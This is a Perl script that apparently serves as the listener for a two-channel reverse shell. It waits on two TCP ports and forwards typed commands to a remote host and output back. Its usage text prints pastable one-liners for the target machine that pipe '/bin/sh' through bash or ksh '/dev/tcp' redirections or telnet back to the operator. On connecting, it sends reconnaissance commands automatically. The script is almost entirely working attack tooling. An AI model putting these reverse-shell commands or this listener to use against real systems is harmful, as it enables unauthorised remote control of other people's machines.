#!/usr/bin/env perl
#use strict;
#TODO: $quiet aint working for some reason
#TODO: Test that other guy's box isn't hosed...
use IO::Socket ;

my ($usagetext, $prog, $port, $port2, $kidpid, $server, $server2,
    $client, $other_end, $other_iaddr, $other_ip, $other_port, $version,
    $defaultcommands, $tmp);
$version = "1.4";
$| = 1; # unbuffered output
myinit() ;

if ($destIP) {
  print "Choose ONE remote command to connect to $prog:

$samples

NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It
      gives the error 'ambiguous redirect'. If you see that, change to sh
      or bash before you run this on the other host (or use csh if you must
      but omit the three occurrences of 2>\&1 and any stderr from commands
      will not be seen in the doublet window).

" ;
}
# split into two processes
print STDERR "When connection established, will send up these commands:\n$defaultcommands\n\n" unless $quiet;
progprint("Confirmed this window is scripted ($scriptordie)");

die "cannot fork: $! " unless (defined ($kidpid = fork())) ;

if (! $kidpid) { # child
  close (STDIN) ; # trying to fix
  my ($line) ; # trying to fix
  $server = IO::Socket::INET->new(LocalPort  => $port2,
				  Type       => SOCK_STREAM,
				  Reuse      => 1,
				  Listen     => 1 )
    or die "Cannot be a tcp server on port $port2 : $@\n";
  progprint("Waiting on $port2 for output",$COLOR_FAILURE,$COLOR_NOTE);


  $client = $server->accept() ;
  $other_end = getpeername($client)
    or die "Could not identify other end: $!\n";
  ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end);
  $other_ip = inet_ntoa($other_iaddr) ;
  progprint("connect on $port2 for output from $other_ip:$other_port",$COLOR_FAILURE);
  # parent accepts output from other end
  while (defined ($line = <$client>) ) {
    print STDOUT "$line" ;
  }
} else { # parent
  my ($line) ; # trying to fix
  close (STDOUT) ; # trying to fix
  $server2 = IO::Socket::INET->new(LocalPort  => $port1,
				   Type       => SOCK_STREAM,
				   Reuse      => 1,
				   Listen     => 1 )
    or die "Cannot be a tcp server on port $port1 : $@\n";
  progprint("Waiting on $port1 for input",$COLOR_FAILURE,$COLOR_NOTE);

  $client = $server2->accept() ;
  $other_end = getpeername($client)
    or die "Could not identify other end: $!\n";
  ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end);
  $other_ip = inet_ntoa($other_iaddr) ;
  progprint("connect on $port1 for  input from $other_ip:$other_port",$COLOR_FAILURE);
  print $client "$defaultcommands\n" unless $quiet;

  # child sends stdin through to other end
  while (defined ($line = <STDIN>) ) {
    print $client "$line" ;
  }
  kill ( "TERM" => $kidpid); # send SIGTERM to child
} # end if kid or not
exit;

sub usage {
  @_ = () if ( $_[0] eq "-h") ;
  print $usagetext unless (@_ or $opt_v) ;
  print $vertext unless (@_) ;
  progprint("\nFATAL ERROR: @_\n",$COLOR_FAILURE) if ( @_ and !$opt_h );
  exit;
} # end sub usage

sub ipcheck() {
  # returns 1 iff $ipstr is in dotted decimal notation with each 
  # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid)
  local($ipstr,@junk) = @_;
  # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.")
  @octets=split(/\./,$ipstr,-1);
  return 0 if ($#octets != 3);
  foreach (@octets) {
    # return 0 if (empty or nondigits or <0 or >255)
    return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255);
  }
  return 1;
} # end sub ipcheck

sub myinit {
  use File::Basename;
  require "getopts.pl";
  $COLOR_SUCCESS="\033[1;32m";
  $COLOR_FAILURE="\033[1;31m";
  $COLOR_WARNING="\033[1;33m";
  $COLOR_NORMAL="\033[0;39m";
  $COLOR_NOTE="\033[0;34m";

  $prog = basename ${0} ;
  $vertext = "$prog version $version\n" ;
  $defaultcommands = "cd /tmp ; uname -a ; date ; date -u \
w ; pwd ; ls -alrt ; pwd" ;
  usage("bad option(s)") if (! &Getopts( "qvhi:" ) ) ;
  $quiet = $opt_q ;
  $destIP = $opt_i ;
  unless ($destIP) {
    my @interface = (ppp0,eth0,eth1) ;
    foreach (@interface) {
      last if ($destIP) = 
	(`ifconfig $_ 2>/dev/null | grep inet` =~ /inet addr:([0-9.]+) /) ;
    }
  }
  $samples = "${COLOR_NOTE}
SOLARIS WITH ksh IN PATH (or tack a /bin/ in front of this):$COLOR_NORMAL

 ksh -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\"

${COLOR_NOTE}
LINUX WITH bash IN PATH or IN bash (or tack a /bin/ in front of this):$COLOR_NORMAL

 bash -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\"

${COLOR_NOTE}
ABOVE BUT ALREADY IN THE PROPER SHELL:$COLOR_NORMAL

 cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1

${COLOR_NOTE}
IF NO JOY ABOVE:$COLOR_NORMAL

 (telnet destIP port1 2>\&1 ; sleep 1) | /bin/sh 2>\&1 | telnet destIP port2 2>\&1

${COLOR_NOTE}
IF NO JOY ABOVE AND ONLY HAVE csh (or see error \"Ambiguous output redirect\"):$COLOR_NORMAL

 (telnet destIP port1 ; sleep 1) | /bin/sh | telnet destIP port2

";
  ($port1,$port2) = @ARGV ;
  $port1 = int($port1) ;
  $port2 = int($port2) ;
  $port2 = $port1 + 1 unless ($port2 or !$port1);
  $samples =~ s/destIP/$destIP/g if $destIP ;
  $samples =~ s/port1/$port1/g if $port1 ;
  $samples =~ s/port2/$port2/g if $port2 ;

  $usagetext = "
Usage: $prog [-i destIP] [-q] port1 [port2]

$prog waits for two tcp connections on port1 and port2 from a remote
host. One is used to send commands to the remote system, and the other
is used to bring output from those commands back. Note, however, that
both tcp tcpconnections are originated from the remote side (and so you
must somehow be able to get that command executed on the remote side).

NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It
      gives the error 'ambiguous redirect'. If you see that, change to sh
      or bash before you run this on the other host (or use csh if you
      must but omit the three occurrences of 2>\&1 and any stderr from
      commands will not be seen in the doublet window).

Use $prog with something like one of the following commands on your remote
host (ONLY ONE):
$samples
If port2 is omitted, port1+1 is used.

The commands shown above are given as pastables with the actual ports and
IP (a local IP is shown if -i is not provided).

Unless the -q (quiet) parameter is used, $prog sends up these commands once a
connection is first received:

";
  foreach (split (/\n/, $defaultcommands) ) {
    $usagetext .= "\t$_\n";
  }
  $usagetext .= "\n";
  usage() if ($opt_h or $opt_v) ;
  usage("Bad IP $opt_i") if ($opt_i and (! &ipcheck($opt_i))) ;
  $defaultcommands = "" if ($quiet) ;
  usage("-h") unless (@ARGV == 1 or @ARGV == 2) ;

  usage("Invalid port $ARGV[0]") unless ($port1 eq $ARGV[0]) ;
  usage("Invalid port $port1") if ($port1 < 1 or $port1 > 65534) ;
  usage("Invalid port $port2") if ($port2 < 1 or $port2 > 65534) ;

  my $ppid = getppid();
  my $pprocess = `ps -ef | grep $ppid | egrep -v "perl|grep"` ;
  my ($pppid) = $pprocess =~ /\w+\s+\w+\s+(\w+)/ ;
  $scriptordie =  `ps -ef | grep $pppid | egrep -v "perl|grep" | grep script.*/down` ;
  unless ($scriptordie) {
    my $processes = `ps -ef | egrep "$$|$pppid" | egrep -v "grep"` ;
    usage("\aYou must run $prog in a scripted window.\n\nI.e., grandparent process myst match \"script.*/down\" and does not:$COLOR_NOTE\n$processes\n");

  } else {
    $scriptordie =~ s/.*script/script/ ;
    chomp($scriptordie);
  }
  #  OK. Good to go from here.
}#myinit
sub progprint {
  local ($what,$color,$color2,$what2) = (@_) ;
  local $newlines ;
  $color = $COLOR_NOTE unless $color ;
  $color2 = $color unless $color2 ;
  $what2 = " $what2" if ($what2) ;
  while (substr($what,0,1) eq "\n") {
    $newlines .= "\n";
    $what = substr($what,1) ;
  }
  if ($color eq $COLOR_FAILURE) {
    $newlines .= "\a" ;
    select STDERR ;
  }
  $| = 1;
  print "$newlines${color2}$prog\[$$]$what2: ${color}$what$COLOR_NORMAL\n" ;
  select STDOUT ;
}